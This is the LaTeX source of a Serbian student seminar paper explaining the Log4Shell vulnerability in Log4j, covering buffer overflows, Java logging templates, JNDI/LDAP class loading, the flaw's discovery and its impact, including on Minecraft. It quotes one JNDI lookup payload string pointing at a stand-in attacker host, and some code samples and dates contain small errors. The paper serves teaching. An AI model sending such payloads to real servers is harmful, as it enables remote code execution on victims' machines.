%! Author = Nikola Marinkovic
%! Date = 13/04/2006

% преамбула
\documentclass[a4paper]{article}

% трагично...
\usepackage{color}
\usepackage{url}
\usepackage[T2A]{fontenc} % ћирилично форматирање
\usepackage{noto} % имао сам проблема са подешавањем векторских фонтова на уређају, и решење је било да користим други фонт
\usepackage[utf8]{inputenc} % утф8 да случајно не користи ascii
\usepackage{graphicx}

\usepackage[english,serbianc]{babel} % српски и енглески

\usepackage[unicode]{hyperref}
\hypersetup{colorlinks,citecolor=green,filecolor=green,linkcolor=blue,urlcolor=blue}

%\usepackage[none]{hyphenat}
\usepackage{listings}

\renewcommand{\lstlistingname}{Пример кода}
\lstset{
    language=Java,
    basicstyle=\ttfamily\small,
    keywordstyle=\color{red},
    stringstyle=\color{blue},
    commentstyle=\color{black},
    frame=single,
    breaklines=true
}

\newcommand{\eng}[1]{
    (\textit{енг.} #1)
}

\newcommand{\lib}[0]{\textbf{Log4j}\ }
\newcommand{\exploit}[0]{\textbf{Log4Shell}\ }

\newcommand{\razmak}[0]{\vspace{\baselineskip}}

% Документ
\begin{document}

    \begin{titlepage}

        \newcommand{\HRule}{\rule{\linewidth}{0.4mm}}

        \center

        \textsc{\LARGE Математички факултет}\\[3cm]

        \textsc{\Large Семинарски рад}\\[0.1cm]

        \textsc{\large из техничког и научног писања}\\[0.5cm]

        \HRule\\[0.4cm]

        {\LARGE\bfseries Log4Shell грешка}\\[0.2cm]

        \HRule\\[2cm]

        \vspace{17\baselineskip}



        \begin{minipage}{0.4\textwidth}
            \begin{flushleft}
                \large
                \textit{Студент}\\
                Никола Маринковић 52/2025
            \end{flushleft}
        \end{minipage}
        \hspace*{1cm}
        \begin{minipage}{0.4\textwidth}
            \begin{flushright}
                \large
                \textit{Професор}\\
                др.\ Јелена Граовац
            \end{flushright}
        \end{minipage}


        \vfill\vfill\vfill\vfill

        {\large Београд, \today}

        \vfill

    \end{titlepage}

    \tableofcontents

    \newpage

    \abstract{
        У овом семинарском раду описана је \exploit грешка, догађаји који је изазвала, начин на који функционише и како ју је могуће експлоатисати. }

    \section{Увод}
    \label{sec:uvod}

    \exploit је популарни назив за CVE-2021-44228\footnote{https://www.cve.org/CVERecord?id=CVE-2021-44228}, грешку нултог дана
    \eng{zero-day vulnerability}\footnote{све грешке за које је корисник угроженог програма сазнао истовремено када и јавност, то јест имао нула дана да отклони}
    откривену у библиотеци \lib\footnote{https://logging.apache.org/log4j/2.x/} за програмски језик Јаву.
    Уз минималан труд нападача, грешка је омогућила малициозним корисницима произвољно извршавање кода на погођеним уређајима.
    Учинила је рањивим многе популарне интернет сервисе, као што су: \emph{Amazon Web Services}, \emph{Cloudflare}, \emph{iCloud}, \emph{Minecraft Java Edition},
    \emph{Steam}, \emph{Tencent QQ} и многе друге.

    \section{Грешке које су претходиле}
    \label{sec:prethodnici}

    %Како бисмо схватили како је дошло до \exploit грешке, потребно је да се упознамо с сличним грешакама које су јој претходиле,
    %и које технике су коришћене како би се те грешке избегле.

    \subsection{Меморија у језицима ниског нивоа}
    \label{subsec:memory-c}

    Већина програмских језика ниског нивоа, као што су C и C++, не поседују уграђене механизме заштите интегритета свог стања.
    Допуштено је уписивање на произвољно место у меморији, произвољна алокација нових података на хип, уклањање истих из меморије, као и многе друге операције.
    Уколико је програмер довољно упознат са начином функционисања хардвера, могућности које овај приступ програмирању пружа
    омогућавају стварање програма који најоптималније користи све могућности хардвера.

    Овакав приступ програмирању програмеру даје велику моћ, али, на жалост, с њом и велику одговорност.
    Произвољан приступ меморији отвара могућност за настанак неприметних грешака чије постојање може изазвати велике последице.

    \subsection{Прекорачење опсега}
    \label{subsec:buffer-overflow}

    Прекорачење опсега\eng{buffer overflow} је грешка до које долази када програм уписује или чита податке изван предвиђеног оквира (бафера).
    Исход ове грешке је непредвидљив.\ Уколико се подаци упишу у незаузет меморијски простор, неће се догодити ништа.
    Ако се на том месту налазила нека променљива, њена вредност биће промењена на непредвидљив начин.
    Ефекти ове грешке демонстрирани су кроз пример\ \ref{pr:buffer-overflow}

    \subsubsection{Пример прекорачења стека}
    \label{pr:buffer-overflow}

    Замислимо да постоји програм који од корисника очекује низ осмобитних целих бројева дужине 4.
    У меморији програма налази се низ предвиђен да се у њега упише корисников улаз.
    Сасвим случајно, одмах поред њега налази се цео осмобитни број x који има вредност 12.
    Стање програма приказано је у табели\ \ref{tab:stanje-pre}.

    \begin{table}[h!]
        \begin{center}
            \caption{Приказ стања програма пре уноса корисничких података}
            \begin{tabular}{|c|c|c|c|c|}
                \hline
                \multicolumn{4}{|c|}{низ} & x \\
                \hline
                ? & ? & ? & ? & 12 \\
                \hline
            \end{tabular}
        \end{center}
        \label{tab:stanje-pre}
    \end{table}

    Уколико је корисник унео више од 4 елемента (претпоставимо да је унео следеће бројеве:\ 5\ 17\ 46\ 25\ 4),
    подразумевано, програм ће наставити да уписује податке ван оквира низа.
    Као последица, вредност променљиве x биће измењена, иако сам код не предвиђа такву промену.
    Ново стање програма приказано је у табели\ \ref{tab:stanje-posle}.

    \begin{table}[h!]
        \begin{center}
            \caption{Приказ стања програма након уноса корисничких података}
            \begin{tabular}{|c|c|c|c|c|}
                \hline
                \multicolumn{4}{|c|}{низ} & x \\
                \hline
                5 & 17 & 46 & 25 & 4 \\
                \hline
            \end{tabular}
        \end{center}
        \label{tab:stanje-posle}
    \end{table}

    С обзиром да ће кориснички улаз у примеру\ \ref{pr:buffer-overflow} променити вредност свих променљивих које му се нађу на путу,
    постоје четири могуће нуспојаве:
    \begin{itemize}
        \item \emph{ништа} - вредност ће бити уписана у неалоцирану меморију, која никада неће бити читана, а адреса ће бити означена као допуштена за упис нових података
        \item \emph{промена вредности неке променљиве} - описанo у примеру\ \ref{pr:buffer-overflow}
        \item \emph{излаз из меморијског оквира програма} - уколико програм покуша да приступи адреси изван њему допуштеног меморијског оквира, оперативни систем ће га насилно угасити
        \item \emph{промена извршног кода} - уколико кориснички улаз буде уписан унутар сегмента кода, локације у меморији где се
        налази извршни код програма, може доћи до промена у начину функционисања програма.
        То допушта малициозним корисницима да извршавају произвољан код и тако манипулишу програмом.
    \end{itemize}

    \razmak

    Решење проблема наведеног у примеру\ \ref{pr:buffer-overflow} је тривијално.
    Међутим, уколико се његове последице не јаве у фази тестирања, врло лако може завршити у програму,
    остављеном на милост корисницима који открију нашу грешку.
    Осим тога, време потрошено на проналажење оваквих грешака може се утрошити на проширивање програма,
    додавање нових функционалности које могу привући више корисника.

    \section{Јава}
    \label{sec:java}

    \subsection{Опис језика}
    \label{subsec:opis-jave}

    Јава је објектно оријентисани језик високог нивоа који је створила компанија Sun Microsystems 1995.\ године.
    За разлику од језика описаних у секцији\ \ref{subsec:memory-c}, Јава открива меморију кроз „објекте“.
    Схеме за креирање објеката зову се класе, имају своје име и дефинишу које променљиве објекат поседује,
    и методе које се над њим примењују.\ У примеру кода\ \ref{lst:primer-objekat} демонстрирано је креирање једног објекта на основу његове класе.
    Када завршимо са коришћењем објекта, биће аутоматски уклоњен из меморије.

    \begin{lstlisting}[label={lst:primer-objekat}, caption={Креирање објекта на основу класе}]
class Objekat { // klasa
    int promenljiva1; // promenljiva
    boolean promenljiva2;
    // metoda objekta
    void ispisi_se() {
        String tekst = // generisanje teksta
            promenljiva1 + " " + promenljiva1;
        System.out.println(tekst); // ispis
    }
}
public static void main(String[] args) {
    // kreiranje novog objekta
    Objekat objekat = new Objekat();
    // dodela vrednosti promenljivama objekta
    objekat.jednaPromenljiva = 10;
    objekat.drugaPromenljiva = false;
    // izvrsavanje metode objekta
    ispisi_se();
}
    \end{lstlisting}

    Уколико покушамо да рекреирамо пример\ \ref{pr:buffer-overflow} у Јави, програм ће пријавити грешку.

    \subsection{Испис на стандардни излаз}
    \label{subsec:ispis}

    Већина програмских језика омогућава испис текстуалних података на стандардни излаз, видљив покретачу апликације.
    То омогућава програму да своје стање саопшти језиком који је разумљив људима.\ У примеру кода\ \ref{lst:primer-objekat} променљиве објекта се претварају у текстуални податак
    и на стандардни излаз исписују коришћењем функције \textbf{\textcolor{blue}{System.out.println(\textcolor{red}{tekst})}}.

    Понекад нам пуко исписивање текста не доноси задовољавајући резултат.
    На пример, уколико бисмо желели да испишемо текст у боји, с обзиром да различити оперативни системи другачије третирају боје,
    морали бисмо да их разликујемо и додељујемо тексту различита кодирања.
    Осим тога, у примеру кода\ \ref{lst:primer-objekat} примећујемо да смо сами морали да податке претварамо у текст.
    У овом примеру, поступак је био једноставан, али у неким случајевима, одговарало би нам када не бисмо морали да
    све регулишемо сами.

    \section{\lib}
    \label{sec:log4j}

    \textbf{Apache Log4j} је библиотека за програмски језик Јаву (\ref{sec:java}) која унапређује могућност програма да описује сопствене догађаје и исписује
    их у формату читљивом људима\eng{logging}.\ Настала је 2001., користи \emph{Apache 2.0} лиценцу отвореног
    кода\footnote{Лиценца отвореног кода дефинише права која корисник има на коришћење, репродукцију и редистрибуцију кода који је користи.
    Рестрикције \emph{Apache 2.0} лиценце налазе се на линку \emph{https://www.apache.org/licenses/LICENSE-2.0.txt}}
    и део је \emph{Apache Software Foundation} организације.

    \subsection{Шаблони ниски}
    \label{subsec:string-template}

    Једна од карактеристика ове библиотеке јесу шаблони ниски.\ То је метод дефинисања формата излаза унутар ниске, без потребе за креирањем исте.
    Предност оваквог приступа је већа читљивост кода, уместо да размишљамо на који начин вредности треба претворити у текстуални формат, и потом их повезати са осталим
    вредностима, то можемо препустити библиотеци.\ Мање написаног кода углавном значи мања шанса за прављење грешке.\\
    На пример, уколико желимо да на стандардни излаз испишемо два броја са покретним зарезом заокружена на две децимале, без помоћи \lib би прво било потребно бројеве
    претворити у ниске које представљају заокружени запис бројева читљив људима, а потом их исписати на стандардни излаз, као што се може видети у примеру кода\ \ref{lst:log-java}.
    \lib нам у примеру кода\ \ref{lst:log-log4j} омогућава дефинисање формата наших података унутар ниске, што знатно смањује количину исписаног кода.

    \begin{lstlisting}[label={lst:log-java}, caption={Испис вредности два реална броја заокружена на две децимале коришћењем стандардних функција Јаве}]
double x = 5.56574734;
double z = 6.0;
String zaokruzen_x = String.format("%.2f", x);
String zaokruzen_z = String.format("%.2f", z);
String ispis = "x = " + zaokruzen_x
    + ", z = " + zaokruzen_z;
System.out.println(ispis);
    \end{lstlisting}

    \begin{lstlisting}[label={lst:log-log4j}, caption={Испис вредности два реална броја заокружена на две децимале коришћењем библиотеке \lib}]
double x = 5.56574734;
double z = 6.0;
logger.info("x = %.2f, y = %.2f", x, y);
    \end{lstlisting}

    Могућности се не заустављају.\ Уколико желимо да испишемо хексадецималну вредност целог броја, довољно је заменити \textcolor{red}{\%.2f} с \textcolor{red}{\%X}.

    \subsection{Извршавање функција}
    \label{subsec:inline-fun}

    Иако \lib знатно олакшава исписивање података, још увек је могуће постићи исти резултат коришћењем стандардних функција програмског језика.
    То је зато што ће, када у ниску напишемо \textbf{\%X} , библиотека потражити функцију која претвара бројеве у хексадецималне ниске
    (\textcolor{red}{Integer.toHexString(\textcolor{black}{број})}), проследити јој број x и резултат поставити на то место.\\
    Наравно, овакав начин записа нас не ограничава само на функције које бројеве претварају у ниске.\ Променљиве окружења су глобалне променљиве доступне свим корисницима
    оперативног система.\ Користе се како би програм могао да користи вредности које се разликују на различитим оперативних система, попут имена оперативног система и
    путања до извршних датотека системских програма.\\
    Како бисмо на стандардни излаз исписали путању до \textbf{HOME} директоријума, у стандардној Јави би од система захтевали вредност променљиве, а потом је исписали
    на стандардни излаз, што се види у примеру кода\ \ref{lst:log-env-java}.\ Коришћењем \lib библиотеке, поступак је знатно олакшан, што се види у примеру
    кода\ \ref{lst:log-env-log4j}.

    \begin{lstlisting}[label={lst:log-env-java}, caption={Испис вредности променљиве окружења коришћењем стандардних функција Јаве}]
String home = System.getenv("HOME");
System.out.println("HOME = " + home);
    \end{lstlisting}

    \begin{lstlisting}[label={lst:log-env-log4j}, caption={Испис вредности променљиве окружења коришћењем библиотеке \lib}]
logger.info("HOME = ${env:HOME}");
    \end{lstlisting}

    Свака функција у Јави може позивати друге функције, креирати објекте, правити захтеве путем интернета и тиме утицати на стање програма.
    Из тог разлога, било би опасно када би исписивање података на стандардни излаз могло да изазове измену стања програма.
    Због тога се \lib ограничава на коришћење функција за које сматрају да не могу да изазову такве операције.
    Међутим, шта се догоди када када функција која има ту способност ипак заврши у коду који користи милијарде корисника?

    \section{Извршавање страног кода}
    \label{sec:strani-kod}

    \subsection{Серијализација}
    \label{subsec:serialization}

    Објекат као концепт постоји само у меморији програма.\ Након што се програм угаси, објекат и сви подаци
    који су били чувани у њему неповратно нестају.\\
    Серијализација је поступак претварања објеката у меморији у податке које је могуће чувати на тврдом диску, док је
    десеријализација обрнут процес.\ Међутим, подаци у меморији се веома разликују од података на диску.
    На диску не постоје референце на друге објекте и подаци имају фиксну дужину.\ Због тога је свакој класи чије је објекте
    могуће серијализовати потребно доделити посебну функцију која то обавља.\ На нашу срећу, за већину објеката постоје
    универзалне функције, попут оних садржаних у библиотеци \textbf{GSON}.\\
    Међутим, шта да радимо уколико желимо да објекат узмемо из другог Јава програма, а наш програм не садржи дефиницију класе
    чије је објекат инстанца?
    
    \subsection{Учитавање страних класа}
    \label{subsec:strane-klase}

    За разлику од језика C++, код кога су класе апстракција која нестаје након што се програм преведе у машински код, у Јави њихова дефиниција,
    променљиве и методе остају сачуване током извршавања програма.\ Тиме је олакшано проналажење грешака у коду, портабилност извршне датотеке,
    и нама најважније, учитавање страних класа унутар програма током његовог рада.\\
    Коришћењем рефлексије\footnote{Рефлексија је способност програма да, током извршавања, анализира и мења структуру или понашање.}, страну класу
    можемо учитати унутар нашег програма, креирати њене објекте и извршавати њене функције.\ Постоје многи начини за добављање класе, међутим, ми ћемо
    описати само један\ \ref{subsubsec:jndi-ldap}.
    
    \subsubsection{JNDI и LDAP}
    \label{subsubsec:jndi-ldap}

    Јава интерфејс за именовање и директоријуме\eng{Java Naming and Directory Interface}или скраћено \textbf{JNDI} је интерфејс за приступ сервисима именовања и директоријума.
    Његова главна сврха је да омогући Јава апликацијама да претражују објекте и ресурсе по имену, уместо да чврсто кодирају њихове локације или имплементације.
    JNDI не чува податке, већ нам помаже да комуницирамо са Лаганим протоколом за приступ директоријумима\eng{Lightweight Directory Access Protocol} или скраћено \textbf{LDAP},
    мрежним протоколом који се користи за приступ и управљање сервисима директоријума.
    Чува информације у хијерархијској, структури у облику стабла прилагођеној за константно читање података, те је практичан за чување објеката и дефиниције класа,
    које наш програм може лако да захтева.

    Наравно, учитавање страних класа страном коду пружа прилику да се изврши унутар наше апликације.
    Уколико не знамо шта класа коју прихватамо ради, постоји шанса да наш програм буде компромитован.
    Шта ће се догодити ако случајно допустимо корисницима да учитавају своје класе?
    
    \section{Log4Shell грешка}
    \label{sec:sama-greska}

    \subsection{Опис Log4Shell грешке}
    \label{subsec:opis-same-greske}

    \lib углавном користи\ \textbf{JNDI}\ \ref{subsubsec:jndi-ldap} како би лакше пронашао елементе база података, у које спадају и \textbf{LDAP} сервери.
    У већини случајева, овакви захтеви не подразумевају учитавање страних класа\ \ref{subsec:strane-klase}, међутим, верзије ове библиотеке погођене \exploit грешком
    допуштале су да се унутар ниске која представља \lib шаблон затражи серијализовани објекат, и његова класа која дефинише како ће бити десеријализован.
    С обзиром да се унутар сваке функције у јави могу позивати друге функције, то је малициозним корисницима омогућило да извршавају произвољан код на погођеним машинама,
    и то само тако што би им проследили следећу ниску:\\

    \texttt{\${jndi:ldap://napadac.com/maliciozni\_zahtev}}
    
    \subsection{Откриће грешке}
    \label{subsec:otkrice}

    \exploit грешку је открио истраживач безбедности из \emph{Alibaba Cloud} безбедносног тима у новембру 2021.\ године.
    Утврђено је да је ова грешка у библиотеци постојала неоткривена најкасније од 2013.\ године, када је настала прва верзија \textbf{Log4j 2} библиотеке.
    24.\ новембра 2021., грешка је пријављена организацији која се бави одржавањем \exploit библиотеке, \emph{Apache Software Foundation}-у.
    Грешка је врло брзо отклоњена у верзији 2.16.0, и 9.\ децембра 2021.\ године објављена јавности под називом
    CVE-2021-44228\footnote{https://www.cve.org/CVERecord?id=CVE-2021-44228}.


    \subsection{Последице грешке}
    \label{subsec:posledice}

    Како би нападач експлоатисао грешку, све што му је потребно јесте \textbf{LDAP} сервер на коме би се налазиле класе са малициозним кодом.
    Такође, непримећена је постојала макар 8 година, што је значило да је велики број сервиса, у које спадају банковни уређаји, принтери, интернет сервери,
    медицинска опрема, био подложан.\ На срећу, метод исправљања ове грешке појавио се од момента када је јавност сазнала за њено постојање, те су подложни
    остали само они уређаји који нису били ажурирани на време.

    \razmak

    Процењује се да је око 10 процената свих дигиталних средстава - укључујући веб апликације,
    сервисе у облаку и физичке крајње тачке попут сервера - било рањиво на Log4Shell у време њеног открића.
    Хакери могу да користе Log4Shell како би учинили готово све: украли податке, инсталирали рансомвере, запленили уређаје за потребе ботнета и још много тога\ \cite{ibm-blog}.

    \subsubsection{Minecraft}
    \label{subsubsec:minecraft}

    Једна од многих погођених сервиса била је видео игра Minecraft.\ У њеном случају, библиотеку \lib користе и сервер и клијент,
    што је значило да је један малициозни корисник могао да инфицира на хиљаде људи тако што би, као у примеру на слици\ \ref{fig:minecraft},
    послао једну поруку у јавно ћаскање.

    \begin{figure}[h!]
        \begin{center}
            \includegraphics[scale=0.20]{minecraft.png}
        \end{center}
        \caption{Minecraft}
        \label{fig:minecraft}
    \end{figure}


    \begin{thebibliography}{9}

        \bibitem{log4j} Log4j: https://logging.apache.org/log4j/2.x/

        \bibitem{log4shell-info} TrendMicro - Преглед грешке: https://success.trendmicro.com/en-US/solution/KA-0012637

        \bibitem{log4shell-cve} Званични CVE: https://www.cve.org/CVERecord?id=CVE-2021-44228
        
        \bibitem{ibm-blog} IBM: Шта је \exploit: https://www.ibm.com/think/topics/log4shell

    \end{thebibliography}

\end{document}